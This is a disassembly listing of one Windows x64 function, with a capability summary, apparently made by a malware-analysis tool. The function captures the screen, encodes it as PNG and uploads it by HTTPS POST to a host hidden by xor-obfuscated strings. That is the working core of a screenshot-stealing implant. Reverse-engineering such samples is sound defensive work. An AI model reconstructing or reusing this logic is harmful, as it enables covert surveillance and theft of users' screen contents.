Function at 0x140040a60
Capabilities:
Capture screenshot
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x408
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor ebx, ebx
mov dword [rbp + 0x350], ebx
cmp byte [0x14022bd89], bl
jne 0x140041977
mov dword [rbp + 0x78], 1
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rbx
xor r8d, r8d
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x90]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r15, rax
mov edx, 0x780
mov r8d, 0x438
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov qword [rbp + 0x28], rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rbp + 0x20], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x438
mov r9d, 0x780
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_BitBlt]
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x350], rbx
lea r8, [rbp + 0x350]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov r12, qword [rbp + 0x350]
mov qword [rbp + 0x30], r12
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0x368], rbx
lea r8, [rbp + 0x368]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
movups xmm0, xmmword [0x140129558]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x140129568]
mov dword [rsp + 0x60], eax
cmp word [0x14012956a], bx
je 0x140040bee
mov eax, 0x69
mov word [rsp + 0x50], ax
xor word [rsp + 0x52], 0x37
xor word [rsp + 0x54], 0x38
xor word [rsp + 0x56], 0x39
xor word [rsp + 0x58], 0x3a
xor word [rsp + 0x5a], 0x3b
xor word [rsp + 0x5c], 0x3c
xor word [rsp + 0x5e], 0x3d
xor word [rsp + 0x60], 0x3e
xor word [rsp + 0x62], 0x3f
mov dword [rbp + 0x358], ebx
mov dword [rbp + 0x350], ebx
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x358]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [rbp + 0x350]
test eax, eax
je 0x140040c9b
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140040c9b
mov r8, rax
mov edx, dword [rbp + 0x350]
mov ecx, dword [rbp + 0x358]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
mov r9d, ebx
mov r11d, dword [rbp + 0x358]
test r11d, r11d
je 0x140040c92
mov eax, r9d
imul r10, rax, 0x68
mov rax, qword [r10 + rdi + 0x40]
lea r8, [rsp + 0x50]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140040c78
add rax, 2
test ecx, ecx
jne 0x140040c64
test edx, edx
je 0x140040c86
inc r9d
cmp r9d, r11d
jb 0x140040c50
jmp 0x140040c92
movups xmm0, xmmword [r10 + rdi]
movups xmmword [rbp + 0x98], xmm0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
lea r8, [rbp + 0x98]
mov rdx, qword [rbp + 0x368]
mov rcx, r12
call qword [sym.imp.gdiplus.dll_GdipSaveImageToStream]
test eax, eax
cmovne esi, eax
mov dword [rbp + 0xb8], esi
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x1c0]
call qword [rax + 0x60]
mov esi, dword [rbp + 0x1d0]
mov edi, esi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
mov r13, rbx
mov qword [rbp - 8], rbx
test esi, esi
je 0x140040d1e
mov edx, esi
lea rcx, [rbp - 0x18]
call fcn.140079500
mov r8d, esi
xor edx, edx
mov r12, qword [rbp - 0x18]
mov rcx, r12
call sub.VCRUNTIME140.dll_memset
add rdi, r12
mov qword [rbp - 0x10], rdi
mov r13, qword [rbp - 8]
jmp 0x140040d26
mov rdi, qword [rbp - 0x10]
mov r12, qword [rbp - 0x18]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
lea r9, [rbp + 0x360]
mov r8d, esi
mov rdx, r12
call qword [rax + 0x18]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
call qword [rax + Ordinal_18]
mov rdx, qword [rbp + 0x20]
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov ecx, 0x30
call fcn.1400f83b8
mov rdx, rax
mov qword [rbp - 0x78], rax
movdqa xmm0, xmmword [0x140129ce0]
movdqu xmmword [rbp - 0x68], xmm0
movups xmm0, xmmword [str.____WebKitFormBoundary7MA4YWxkTrZu0gW]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140126950]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140126960]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x140126964]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], 0
lea rsi, [0x140000000]
lea rax, [rsi + 0x12968c]
mov qword [rbp + 0xc0], rax
lea rax, [0x1401288a8]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x350], 1
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x140], rbx
mov dword [rbp + 0x148], ebx
lea rdx, [0x1401269dc]
lea rcx, [rbp + 0xd0]
call fcn.140078770
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.140079f40
lea rdx, [0x14011f224]
mov rcx, rax
call fcn.140078770
mov rcx, rax
lea rdx, str.Content_Disposition:_form_data__name_file___filename_screenshot.png__r_n
call fcn.140078770
mov rcx, rax
lea rdx, str.Content_Type:_image_png_r_n_r_n
call fcn.140078770
sub rdi, r12
mov r8, rdi
mov rdx, r12
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rdx, str._r_n__
lea rcx, [rbp + 0xd0]
call fcn.140078770
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.140079f40
lea rdx, str.___r_n
mov rcx, rax
call fcn.140078770
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x140129cc0]
movdqu xmmword [rbp - 0x28], xmm1
mov byte [rbp - 0x38], 0
mov dword [rbp + 0x350], 5
xor eax, eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
mov ecx, dword [rbp + 0x148]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140040faa
mov rax, qword [rbp + 0x118]
mov r8, qword [rax]
test r8, r8
je 0x140040faa
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x140]
cmovb r8, qword [rbp + 0x140]
sub r8, rdx
jmp 0x140040fe4
test cl, 4
jne 0x140040fda
mov rax, qword [rbp + 0x110]
mov rcx, qword [rax]
test rcx, rcx
je 0x140040fda
mov rax, qword [rbp + 0xf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x128]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140040fe4
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x140040ff3
lea rcx, [rbp - 0x38]
call fcn.140078420
nop
movups xmm3, xmmword [str.RKZUIX]
movups xmmword [rsp + 0x68], xmm3
movq xmm7, qword [str._P_A]
movq qword [rsp + 0x78], xmm7
mov edi, dword [0x1401400a0]
cmp word [0x14012981e], 0
je 0x1400411b6
mov r8d, ebx
cmp edi, 2
jl 0x140041178
movdqa xmm4, xmmword [0x14012a2c0]
movdqa xmm5, xmmword [str.8888]
movdqa xmm6, xmmword [0x140129df0]
movdqa xmm2, xmmword [0x140129d30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140129d50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x70]
xorps xmm2, xmm0
movq qword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x140129d60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, xmm7
xorps xmm2, xmm0
movq qword [rsp + 0x78], xmm2
jmp 0x1400411b6
lea r9, [rsp + 0x68]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140041180
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x58]
call fcn.1400777a0
nop
lea rdx, [rbp + 0x210]
lea rcx, [rsi + 0x129280]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
mov rax, qword [rcx + 0x40]
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, word [rcx + 0x4c]
mov word [rdx + 0x4c], ax
mov r8d, ebx
cmp edi, 2
jl 0x140041387
movdqa xmm5, xmmword [0x140129d30]
movdqa xmm4, xmmword [0x14012a2c0]
movdqa xmm6, xmmword [str.8888]
movdqa xmm7, xmmword [0x140129df0]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x60
jl 0x140041290
cmp r8d, 0x67
jge 0x1400413d7
movsxd rax, r8d
lea r9, [rbp + 0x210]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x67
jl 0x1400413a0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x38]
call fcn.1400777a0
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.ScreenshotBot_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
je 0x140041798
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 7
cmova rdx, qword [rbp + 0x58]
mov r8d, 0x1bb
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
test rax, rax
je 0x140041798
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova r8, qword [rbp + 0x38]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rbp + 0x350], rax
test rax, rax
je 0x140041798
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r9, qword [rbp - 0x68]
add r9, rdx
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
cmp rdx, r9
jne 0x1400414c3
movdqa xmm0, xmmword [0x140129c90]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], bx
jmp 0x1400414d0
sub r9, rdx
lea rcx, [rbp - 0x58]
call fcn.14007a100
nop
mov r8, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
sub rax, r8
mov r15d, 0x2c
cmp rax, r15
jb 0x140041593
lea rax, [r8 + 0x2c]
mov qword [rbp - 0x48], rax
lea rsi, [rbp - 0x58]
cmp rcx, 7
cmova rsi, qword [rbp - 0x58]
lea rax, [0x140126a78]
lea rcx, str.Content_Type:_multipart_form_data__boundary
cmp rax, rsi
jbe 0x140041533
lea rax, [rsi + r8*2]
cmp rcx, rax
ja 0x140041533
cmp rsi, rcx
ja 0x140041528
mov r14, rbx
jmp 0x140041536
mov r14, rsi
sub r14, rcx
sar r14, 1
jmp 0x140041536
mov r14, r15
lea rcx, [rsi + 0x58]
lea r8, [r8*2 + 2]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
lea rdi, [r14 + r14]
mov r8, rdi
lea rdx, str.Content_Type:_multipart_form_data__boundary
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.Content_Type:_multipart_form_data__boundary
lea rdx, [rdx + 0x58]
lea rdx, [rdx + r14*2]
lea rcx, [rsi + rdi]
sub r15, r14
lea r8, [r15 + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x58]
mov rdi, qword [rbp + 0x350]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
jmp 0x1400415a4
mov qword [rsp + 0x28], r15
mov rdx, r15
lea rcx, [rbp - 0x58]
call fcn.14007a650
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140041615
lea rax, [rcx + 2]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
cmp rdx, 7
cmova rax, qword [rsp + 0x68]
mov dword [rax + rcx*2], 0xa000d
mov word [rax + rcx*2 + 4], bx
lea rax, [rsp + 0x68]
jmp 0x14004163c
mov qword [rsp + 0x20], 2
lea r9, [0x140126a14]
movzx r8d, byte [rbp + 0x350]
mov edx, 2
lea rcx, [rsp + 0x68]
call fcn.140078f10
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x1400416ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400416a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
movdqa xmm0, xmmword [0x140129c90]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], bx
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140041703
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400416fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r9, qword [rbp - 0x38]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
mov qword [rsp + 0x30], rbx
mov eax, dword [rbp - 0x28]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140041754
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov byte [0x14022bd89], 1
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140041798
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041792
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x1400417db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400417d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400417d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
movdqa xmm0, xmmword [0x140129c90]
movdqu xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x38], bx
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x140041837
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004182a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004182a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
movdqa xmm0, xmmword [0x140129c90]
movdqu xmmword [rbp + 0x68], xmm0
mov word [rbp + 0x58], bx
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004187e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041879
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
movdqa xmm0, xmmword [0x140129cc0]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call fcn.140077520
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004191f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004191a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004191a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f870c
movdqa xmm0, xmmword [0x140129cc0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
test r12, r12
je 0x14004196d
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x140041961
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041961
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r12
call fcn.1400f870c
nop
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
movaps xmm6, xmmword [rsp + 0x3f0]
movaps xmm7, xmmword [rsp + 0x3e0]
add rsp, 0x408
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret